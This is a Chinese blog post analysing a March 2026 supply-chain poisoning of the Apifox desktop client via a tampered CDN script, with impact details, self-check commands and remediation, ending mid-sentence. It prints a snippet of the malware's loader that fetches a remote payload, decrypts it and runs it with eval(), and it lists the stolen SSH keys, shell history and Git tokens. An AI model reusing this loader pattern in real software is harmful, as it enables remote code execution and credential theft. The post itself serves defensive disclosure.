关注我的公众号:【编程朝花夕拾】,可获取首发内容。
01 引言
近期,国内流行的 API 协作平台 Apifox 遭遇了一起严重的供应链投毒攻击。攻击者通过篡改 CDN 托管的 JavaScript 文件,在官方桌面客户端中植入恶意代码,意图窃取开发者的核心凭证并实施远程控制。
这场攻击从 2026 年 3 月 4 日开始,持续活跃了 18 天,直到 3 月 22 日恶意域名才停止解析。由于 Apifox 被广泛应用于研发团队,此次事件的影响范围极广,Windows、macOS 和 Linux 平台用户均受影响。
02 事件概述
2.1 概述
2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。
此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。攻击从2026年3月4日开始,持续至3月22日,共活跃18天。
2.2 过程
Apifox桌面端启动时会加载一个用于事件追踪的JS文件:
hxxps://cdn[.]apifox[.]com/www/assets/js/apifox-app-event-tracking.min.js
正常情况下该文件大小为34KB,但在3月4日之后,用户可能请求到被投毒的版本(77KB)。投毒后的文件在合法SDK代码后追加了约42KB的高度混淆恶意代码。
2.3 核心恶意功能
攻击者在代码中硬编码了一个RSA-2048私钥,用于加密上报的敏感信息和解密C2下发的指令。这一设计失误使得任何获取该代码的人都能解密C2通信,也是本次攻击链得以完整还原的关键。
恶意代码通过MAC地址、CPU型号、主机名、用户主目录、操作系统平台构造唯一标识,经SHA-256哈希后存储在localStorage中。从localStorage读取common.accessToken,调用官方API获取用户邮箱和姓名,经RSA加密后附加到请求头中上报.通过RSA加密的payload解密后直接执行,实现完全的远程代码执行能力。
C2通信与远程代码执行:
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意远程代码执行
03 影响范围
3.1 受影响的版本和平台
- 受影响版本:Apifox SaaS版桌面客户端 2.8.19 以下版本
- 受影响平台:Windows、macOS、Linux全平台
- 受影响时间窗口:2026年3月4日至3月22日
3.2 数据窃取的范围
攻击脚本会系统性收集并加密外传以下敏感信息:
- SSH私钥:利用
~/.ssh/id_rsa直接登录服务器 - Shell命令历史:使用history文件获取泄露明文密码、Token、数据库连接串等
- Apifox凭证:通过accessToken、userId接管账号,窃取API文档
- Git凭证:通过Git Token窃取代码仓库
04 自查指南
通过脚本检查:
# Windows PowerShell下执行
Select-String -Path "$env:APPDATA\apifox\Local Storage\leveldb\*" -Pattern "rl_mc","rl_headers" -List | Select-Object Path
# macOS 终端下执行
grep -arlE "rl_mc|rl_headers" ~/Library/Application\ Support/apifox/Local\ Storage/leveldb
如果有输出具体文件则可以判定中招,需要及时采取补救措施。
我赶紧查了我的电脑,所幸没有波及。
05 修复处理
- 版本升级到**
2.8.19**及以上 - 重置凭证
- 阻断恶意域名
官方也给出了修复建议: